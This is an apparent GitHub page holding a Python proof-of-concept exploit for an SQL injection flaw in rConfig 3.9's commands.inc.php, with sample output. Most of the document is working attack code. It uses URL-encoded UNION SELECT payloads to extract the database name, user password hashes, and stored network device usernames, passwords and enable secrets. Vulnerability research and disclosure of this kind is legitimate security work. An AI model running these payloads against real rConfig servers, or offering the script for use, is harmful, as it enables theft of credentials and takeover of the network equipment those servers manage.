Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
exploits-rconfig/rconfig_sqli.py /
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
102 lines (90 sloc)
3.54 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Exploit Title: rConfig 3.9 - SQL injection | |
| # Date: 2020-03-03 | |
| # CVE-2020-XXXX | |
| # Exploit Author: vikingfr | |
| # Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig) | |
| # Software Link : http://files.rconfig.com/downloads/scripts/centos7_install.sh | |
| # Version: tested v3.9.4 | |
| # Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24 | |
| # | |
| # Notes : If you want to reproduce in your lab environment follow those links : | |
| # http://help.rconfig.com/gettingstarted/installation | |
| # then | |
| # http://help.rconfig.com/gettingstarted/postinstall | |
| # | |
| # $ python3 rconfig_sqli.py https://1.1.1.1 | |
| # rconfig 3.9 - SQL Injection PoC | |
| # [+] Triggering the payloads on https://1.1.1.1/commands.inc.php | |
| # [+] Extracting the current DB name : | |
| # rconfig2 | |
| # [+] Extracting 10 first users : | |
| # admin:1:63a9f0ea7bb98050796b649e85481845 | |
| # Maybe no more information ? | |
| # Maybe no more information ? | |
| # [snip] | |
| # [+] Extracting 10 first devices : | |
| # 127-0-0-1:127.0.0.1::ocdvulnpass: | |
| # deviceTestName:1.1.1.1:myusertest:mysecret:myenablesecret | |
| # Maybe no more information ? | |
| # Maybe no more information ? | |
| # [snip] | |
| # Done | |
| #!/usr/bin/python3 | |
| import requests | |
| import sys | |
| import urllib.parse | |
| from requests.packages.urllib3.exceptions import InsecureRequestWarning | |
| requests.packages.urllib3.disable_warnings(InsecureRequestWarning) | |
| print ("rconfig 3.9 - SQL Injection PoC") | |
| if len(sys.argv) != 2: | |
| print ("[+] Usage : ./rconfig_exploit.py https://target") | |
| exit() | |
| vuln_page="/commands.inc.php" | |
| vuln_parameters="?searchOption=contains&searchField=vuln&search=search&searchColumn=command" | |
| given_target = sys.argv[1] | |
| target = given_target | |
| target += vuln_page | |
| target += vuln_parameters | |
| request = requests.session() | |
| dashboard_request = request.get(target+vuln_page, allow_redirects=False, verify=False) | |
| def extractDBinfos(myTarget=None,myPayload=None): | |
| """ | |
| Extract information from database | |
| Args: | |
| - target+payload (String) | |
| Returns: | |
| - payload result (String) | |
| """ | |
| result = "" | |
| encoded_request = myTarget+myPayload | |
| exploit_req = request.get(encoded_request) | |
| if '[PWN]' in str(exploit_req.content): | |
| result = str(exploit_req.content).split('[PWN]')[1] | |
| else: | |
| result="Maybe no more information ?" | |
| return result | |
| if dashboard_request.status_code != 404: | |
| print ("[+] Triggering the payloads on "+given_target+vuln_page) | |
| # get the db name | |
| print ("[+] Extracting the current DB name :") | |
| db_payload = "%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,database(),0x5B50574E5D3C42523E)%20limit%200,1),NULL--" | |
| db_name = extractDBinfos(target,db_payload) | |
| print (db_name) | |
| # DB extract | |
| print ("[+] Extracting 10 first users :") | |
| for i in range (0, 10): | |
| user1_payload="%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,username,0x3A,id,0x3A,password,0x5B50574E5D3C42523E)%20FROM%20"+db_name+".users+limit+"+str(i)+","+str(i+1)+"),NULL--" | |
| user_h = extractDBinfos(target,user1_payload) | |
| #print ("[+] Dump device "+str(i)) | |
| print (user_h) | |
| # DB extract | |
| print ("[+] Extracting 10 first devices :") | |
| for i in range (0, 10): | |
| device_payload="%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,deviceName,0x3A,deviceIpAddr,0x3A,deviceUsername,0x3A,devicePassword,0x3A,deviceEnablePassword,0x5B50574E5D3C42523E)%20FROM%20"+db_name+".nodes+limit+"+str(i)+","+str(i+1)+"),NULL--" | |
| device_h = extractDBinfos(target,device_payload) | |
| #print ("[+] Dump device "+str(i)) | |
| print (device_h) | |
| print ("Done") | |
| else: | |
| print ("[-] Please verify the URI") | |
| exit() |